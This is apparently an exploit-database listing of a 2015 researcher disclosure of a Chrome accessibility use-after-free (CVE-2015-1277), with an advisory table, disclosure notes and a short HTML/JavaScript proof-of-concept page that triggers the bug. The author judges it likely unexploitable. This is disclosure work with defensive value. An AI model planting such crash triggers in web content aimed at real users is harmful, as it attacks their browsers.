Chrome ui::AXTree::Unserialize Use-After-Free Exploit
| Reporter | Title | Published | Views | Family All 56 |
|---|---|---|---|---|
 | chromium -- multiple vulnerabilities | 21 Jul 201500:00 | – | freebsd |
 | chromium: multiple issues | 23 Jul 201500:00 | – | archlinux |
 | Google Chrome DoS | 31 Jul 201500:00 | – | bdu_fstec |
 | Google Chrome accessibility memory misreference vulnerability | 24 Jul 201500:00 | – | cnvd |
 | CVE-2015-1277 | 23 Jul 201500:00 | – | cve |
 | CVE-2015-1277 | 23 Jul 201500:00 | – | cvelist |
 | [SECURITY] [DSA 3315-1] chromium-browser security update | 24 Jul 201512:29 | – | debian |
| [SECURITY] [DSA 3315-1] chromium-browser security update | 24 Jul 201512:29 | – | debian |
 | CVE-2015-1277 | 23 Jul 201500:00 | – | debiancve |
 | Debian DSA-3315-1 : chromium-browser - security update | 27 Jul 201500:00 | – | nessus |
10
1503A - Chrome - ui::AXTree::Unserialize use-after-free (CVE-2015-1277)
TL;DR
After 60 day deadline has passed, I am releasing details on an unfixed use-after-free vulnerability in Chrome's accessibility features, which are disabled by default. The issue does not look exploitable.
Details
On April 22nd 2015 I reported a use-after-free vulnerability in Google Chrome to the Chromium issue tracker. I allow vendors 60 days to fix an issue, unless they can provide an adequate reason for extending this deadline. The issue was marked fixed on June 3rd but unfortunately the fix has not yet been shipped as of July 17th. Since the deadline for a fix has passed some time ago without adequate explanation, I am disclosing details about the vulnerability today.
To cause the use-after-free to trigger an access violation in a debugger, Chrome must be run with page heap enabled, the "--force-renderer-accessibility" and "--no-sandbox" command line flags, and the environment variable "CHROME_ALLOCATOR" set to "winheap". Without the page heap settings, the repro should still trigger the use-after-free but will probably not cause an no access violation, as memory with valid data will still be allocated at the address of the freed memory.
Repro
<html>
<head>
<script>
window.onload = function () {
setTimeout(function() {
document.getElementById("style")
.appendChild(document.createElement("x"));
document.getElementById("x")
.appendChild(document.createElement("frame"));
}, 0);
};
</script>
</head>
<body>
<style id="style">
@import "404";
body {
float: left;
}
</style>
<x id="x">
x
</x>
</body>
</html>
# 0day.today [2018-01-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2015 00:00Current
7High risk
Vulners AI Score7
EPSS0.01605